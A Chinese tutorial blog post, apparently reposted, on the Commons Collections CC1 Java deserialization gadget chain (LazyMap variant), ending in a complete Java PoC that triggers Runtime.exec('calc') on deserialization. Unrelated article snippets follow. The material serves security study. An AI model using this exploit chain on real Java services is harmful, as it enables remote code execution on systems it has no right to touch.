Java安全 反序列化(4) CC1链-LazyMap版

Java安全 反序列化(4) CC1链-LazyMap版

实验环境:存在漏洞的版本 commons-collections3.1-3.2.1 jdk 8u71之后已修复不可利⽤

文章目录

  • Java安全 反序列化(4) CC1链-LazyMap版
  • 一.跟踪挖掘CC1_LazyMap原理
  • 二.完整CC1_Lazy版Poc

接着上一篇文章我们通过ChainedTransFormer实现任意命令执行

Transformer[] transformers=new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

这篇文章探究从另个方向实现ChainedTransformer的执行

一.跟踪挖掘CC1_LazyMap原理

查看transformer的用法

image-20240321230450795

在LazyMap.get()方法调用了factory.transform(key)

前提是保证LazyMap中的键(Key)为空

LazyMap可以理解为"懒惰的Map集合" 本身就没有Key值的传递

这个判断是可以直接过的

image-20240321230901155

和TransformerMap一样protected构造函数(仅仅被内部访问)通过公共静态方法decorate构造image-20240321231006883

接受Map和Factory 可以尝试调用实例化后的LazyMap.get方法

 Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        HashMap<Object,Object> hashmap=new HashMap<>();
         Map<Object,Object> lazymap= LazyMap.decorate(hashmap,chainedTransformer);
         lazymap.get(1);

image-20240321232414195

现在的问题是如何调用LazyMap.get()方法

我们可以和上篇文章一样通过AnnotationInvocationHandler作为入口类

image-20240321234052996

AnnotationInvocationHandler本意就是动态代理的调用类(Invocation Hanndler)

invoke方法方法判断 进行了两个判断

第一的判断调用的方法名不能是equals

第二个判断了方法参数为0 也就是无参方法

比较巧合的一件事是在AnnotationInvocationHandler的readobject中

image-20240321234745221

可控的memberValues调用了entrySet方法

恰好是个无参方法

image-20240321234824129

那么我们的思路就非常明确了

将Map<String, Object> memberValues套一层动态代理,调用的处理类也是AnnotationInvocationHandler,就可以触发get方法实现RCE

参考上篇文章我们如何控制通过反射控制AnnotationInvocationHandler

Class annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationDeclaredConstructor = annotation.getDeclaredConstructor(Class.class,Map.class);
        annotationDeclaredConstructor.setAccessible(true);
        InvocationHandler annotationInvocationHandler =(InvocationHandler) annotationDeclaredConstructor.newInstance(Target.class,lazymap);

这里创建动态代理

在运行期动态创建一个interface实例的方法如下:

  1. 定义一个InvocationHandler实例,它负责实现接口的方法调用;

  2. 通过

    Proxy.newProxyInstance()
    

    创建interface实例,它需要3个参数:

    1. 使用的ClassLoader,通常就是接口类的ClassLoader
    2. 需要实现的接口数组,至少需要传入一个接口进去;
    3. 用来处理接口方法调用的InvocationHandler实例。
  3. 将返回的Object强制转型为接口。

Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},annotationInvocationHandler);

然后再将动态代理Proxy实例化成AnnotationInvocationHandler,便于readobject自动触发 代理类 的 方法

Map<Object,Object> mapproxy = (Map<Object, Object>) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},annotationInvocationHandler);
        Object o = annotationDeclaredConstructor.newInstance(Target.class,mapproxy);

可以执行命令

image-20240322001844417

二.完整CC1_Lazy版Poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1_LazyMap {
    public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, IOException {
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        HashMap<Object,Object> hashmap=new HashMap<>();
         Map<Object,Object> lazymap= LazyMap.decorate(hashmap,chainedTransformer);
        Class annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationDeclaredConstructor = annotation.getDeclaredConstructor(Class.class,Map.class);
        annotationDeclaredConstructor.setAccessible(true);
        InvocationHandler annotationInvocationHandler =(InvocationHandler) annotationDeclaredConstructor.newInstance(Target.class,lazymap);
        Map mapproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},annotationInvocationHandler);
        Object o = annotationDeclaredConstructor.newInstance(Target.class,mapproxy);
        serialize(o);
        unserialize();


    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new
                FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        oos.close();
    }
    public static void unserialize() throws IOException, ClassNotFoundException
    {
        ObjectInputStream ois = new ObjectInputStream(new
                FileInputStream("ser.bin"));
        ois.readObject();
        ois.close();
    }
}

CC1链的Transformer和LazyMap都依赖了AnnotationInvocationHandler作为入口类, jdk 8u71之后已修复不可利⽤,因为jdk高版本后 开发者修改AnnotationInvocationHandler的代码

下篇探究CC6 实现无视JDK版本实现RCE

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/477304.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

vue3+threejs新手从零开发卡牌游戏(二):初始化场景

在删掉初始化中一些没用的代码后&#xff0c;在views目录下新建game文件夹&#xff0c;在里面新建一个index.vue&#xff0c;这里就当成游戏的主入口。 目录结构如下&#xff1a; 下面开始尝试创建场景&#xff1a; 一、添加一个div作为threejs的画布对象&#xff0c;之后整个…

电网的正序参数和等值电路(一)

本篇为本科课程《电力系统稳分析》的笔记。 本篇为第二章的第一篇笔记。 电力系统正常运行中&#xff0c;可以认为系统的三相结构和三相负荷完全对称。而对称三相的计算可以用一相来完成&#xff0c;其中所有给出的标称电压都是线电压的有效值&#xff0c;假定系统全部是Y-Y型…

如何将软件大规模部署到基于 Linux 的 IoT 设备

物联网( IoT) 改变了我们与世界互动的方式&#xff0c;将无数设备连接到互联网&#xff0c;从我们家中的智能恒温器到制造工厂的工业传感器。这些 IoT 设备的很大一部分依赖于 Linux 操作系统&#xff0c;因为它具有灵活性、稳健性和开源特性。 将软件大规模部署到基于 Linux …

react-jsx

react04 jsx语法 - 01 基础知识&#xff1a; jsx javascript xml(html) 把js和heml标签混合到一起 react视图编写及构建的简要流程 &#xff1a; 如何在react中使vs code支持格式化和快捷键提示&#xff1a;1, 2,修改文件后缀为jsx&#xff0c;因为webpack的打包规则中可以…

【蓝桥杯】RMQ(Range Minimum/Maximum Query)

一.概述 RMQ问题&#xff0c;是求区间最大值或最小值&#xff0c;即范围最值问题。 暴力解法是对每个询问区间循环求解&#xff0c;设区间长度n&#xff0c;询问次数m&#xff0c;则复杂度是O ( nm )。 一般还可以使用线段树求解&#xff0c;复杂度是O(mlogn)。 但还有一种…

守护数据安全,远离.locked勒索病毒:有效防御策略分享

导言&#xff1a; 随着信息技术的飞速发展&#xff0c;网络空间的安全问题日益凸显&#xff0c;其中勒索病毒便是一种严重的网络安全威胁。近年来&#xff0c;.locked勒索病毒逐渐进入人们的视野&#xff0c;其强大的破坏性和高隐蔽性使得许多个人和企业深受其害。本文将对.lo…

比堆垛机方案省电65% 实施快50% 四向车系统柔性化建设进程异军突起

对物流企业来说&#xff0c;供应链的数智化升级并非“赶时髦”&#xff0c;它需要找到一个既懂物流行业&#xff0c;又有数字化技术作基础的仓储方案提供商。而河北沃克基于AI底层技术、软硬一体化产品体系和技术创新行业经验双轮驱动的业务团队等“技术产品人才”三位一体优势…

AndroidStudio 由dolphin升级到giraffe,出现“gradle project sync failed“

1 现象描述 将AS由之前的dolphin版本升级到giraffe之后&#xff0c;接着打开以前的Android project&#xff0c;出现了"Gradle project sync failed…"的异常提示&#xff0c;在build面板中并没有出现project sync过程中报错的日志。 异常提示如下图所示&#xff1a…

知识蒸馏——深度学习的简化之道 !!

文章目录 前言 1、什么是知识蒸馏 2、知识蒸馏的原理 3、知识蒸馏的架构 4、应用 结论 前言 在深度学习的世界里&#xff0c;大型神经网络因其出色的性能和准确性而备受青睐。然而&#xff0c;这些网络通常包含数百万甚至数十亿个参数&#xff0c;使得它们在资源受限的环境下&…

【OpenGL手册19】几何着色器

目录 一、说明 二、渲染管线的逻辑 三、几何着色器 四、使用几何着色器 五、造几个房子 六、几何着色器渲染爆破物体 一、说明 如果说用顶点和片段着色器干了什么&#xff0c;其实不多。加入几何着色器&#xff0c;能够加大渲染能力&#xff0c;简化数据结构&#xff0c;…

前端项目部署后,如何提示用户版本更新

目录 前言解决方案1、public目录下新建manifest.json2、写入当前时间戳到manifest.json3、检查版本更新4、woker线程5、入口文件引入 可能出现的问题好书推荐 前言 项目部署上线后&#xff0c;特别是网页项目&#xff0c;提示正在操作系统的用户去更新版本非常 important。一般…

Java并发

目录 线程 什么是线程 进程和线程的区别 线程的生命周期 什么是多线程 并发与并行 多线程的三种实现方式 继承Thread类 1.创建类继承Thread类 2.重写run&#xff08;&#xff09;方法 3.创建对象启动线程 实现Runnable接口 1.自己定义一个类实现Runnable接口 2.重…

java-11-openjdk-11.0.xxx/lib/tzdb.dat (No such file or directory)

项目用的是JAVA 11 build 的时候报错 ava-11-openjdk-11.0.xxx/lib/tzdb.dat (No such file or directory)这个问题困扰了很久&#xff0c;最终在redhat 上找到了root case: 该版本JDK 有bug 别挣扎了直接升级JDK

进程创建,程序加载运行,以及进程终止,什么是僵尸进程,什么是孤儿进程

进程控制 创建进程&#xff0c;撤销进程&#xff0c;实现进程转换&#xff08;必须一气呵成&#xff0c;使用原语&#xff09; 原语不被中断是因为有关中断指令 创建进程 撤销进程 进程创建fork fork&#xff08;&#xff09;函数会创建一个子进程&#xff0c;子进程会返…

HarmonyOS 应用开发案例

本帖下方集中了HarmonyOS Next应用开发时&#xff0c;会遇到的常见应用案例。后续会持续更新大量案例&#xff0c;帮助开发者快速学习。欢迎感兴趣的同学加入Q&#xff1a;454901491 72.手写绘制及保存图片案例&#xff08;0319更新&#xff09;&#xff08;点此查看源码实现&…

数字孪生与智慧城市:重塑城市生活的新模式

随着信息技术的迅猛发展&#xff0c;数字孪生作为一种新兴的技术理念&#xff0c;正在逐渐改变城市建设和管理的传统模式。智慧城市作为数字孪生技术应用的重要领域&#xff0c;正在以其独特的优势和潜力&#xff0c;重塑着城市生活的方方面面。本文将从数字孪生的概念、智慧城…

Nginx:部署及配置详解(linux)

Nginx&#xff1a;部署及配置详解&#xff08;linux&#xff09; 1、nginx简介2、安装编译工具及库文件3、安装 pcre4、nginx安装5、nginx配置文件nginx.conf组成6、nginx配置实例-反向代理7、nginx 配置实例-负载均衡 &#x1f496;The Begin&#x1f496;点点关注&#xff0c…

计算机组成原理 双端口存储器原理实验

一、实验目的 1、了解双端口静态随机存储器IDT7132的工作特性及使用方法 2、了解半导体存储器怎样存储和读出数据 3、了解双端口存储器怎样并行读写&#xff0c;产生冲突的情况如何 二、实验任务 (1)按图7所示&#xff0c;将有关控制信号和和二进制开关对应接好&#xff0c;…

Umi-OCR:开源、免费的离线OCR软件,一键解码万物语言,图像转文本轻松搞定!

Umi-OCR&#xff1a;瞬间捕获&#xff0c;字句跃然眼前&#xff01;精准识别图文信息&#xff0c;让数据提取无限拓展&#xff01; - 精选真开源&#xff0c;释放新价值。 概览 Umi-OCR是一款强大的开源光学字符识别&#xff08;OCR&#xff09;工具&#xff0c;致力于打破现实…

Arduino IDE工程代码多文件编程和中文设置

一、esp8266模块信息 二、中英文切换 点击文件( File )–选择首选项( Preference )—选择语言( Language )—选择中文–点击确定( OK ) 三、多文件编程 在Arduino编程中&#xff0c;将代码分割成多个文件是一种很好的做法&#xff0c;特别是项目变得越来越大和复杂时。这样…